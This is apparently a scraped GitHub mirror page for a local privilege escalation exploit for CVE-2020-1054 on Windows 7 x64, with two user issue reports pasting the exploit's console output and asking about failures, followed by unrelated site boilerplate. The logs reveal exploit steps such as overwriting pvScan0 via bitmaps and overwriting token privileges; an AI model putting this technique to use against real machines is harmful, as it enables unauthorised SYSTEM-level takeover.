0xeb-bp / cve-2020-1054 Goto Github PK
View Code? Open in Web Editor NEWLPE for CVE-2020-1054 targeting Windows 7 x64
LPE for CVE-2020-1054 targeting Windows 7 x64
Windows 7 Ultimate x64 ,6.1.7601 Service Pack 1 Build 7601 in VMware
Why I filed?
CVE-2020-1054 LPE written by @0xeb_bp
[+] Pid = 2804
[+] Token Handle = 48
[+] PID Token Address = fffff8a00379aa30
[+] PID Token Privilege Address = fffff8a00379aa70
[+] Base Bitmap Handle = fffffffffc050890
[+] Base Bitmap Surface Obj Address = fffff900c4c00000
[+] Generating Bitmaps...
[-] Ran out of memory allocating Bitmaps
What's your test environment ?
Hi, I run the code as your description on windows 7 x64 ultimate.
But it failed at "Error finding winlogin.exe pid".
CVE-2020-1054 LPE written by @0xeb_bp
[+] Pid = 2664
[+] Token Handle = 48
[+] PID Token Address = fffff8a00b2aba30
[+] PID Token Privilege Address = fffff8a00b2aba70
[+] Base Bitmap Handle = 360501e4
[+] Base Bitmap Surface Obj Address = fffff900c6800000
[+] Generating Bitmaps...
[+] Surf Obj to OOB overwrite the size = fffff901c6870000
[+] Surf Obj to overwrite pvScan01 = fffff901c68e0000
[+] GetBitMapBits/Reading using oob_target...
[+] SetBitmapBits/Overwriting pvScan0...
[+] Overwrote pvScan01 (SetBitmapBits returned 6f000 bytes)
[+] Overwriting token priviliges
[+] Overwrote token privileges (SetBitmapBits returned 18 bytes)
[+] Searching for winlogon.exe PID
[-] Error finding winlogin.exe pid
Could you please tell me how to fix this problem?
Thanks.
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.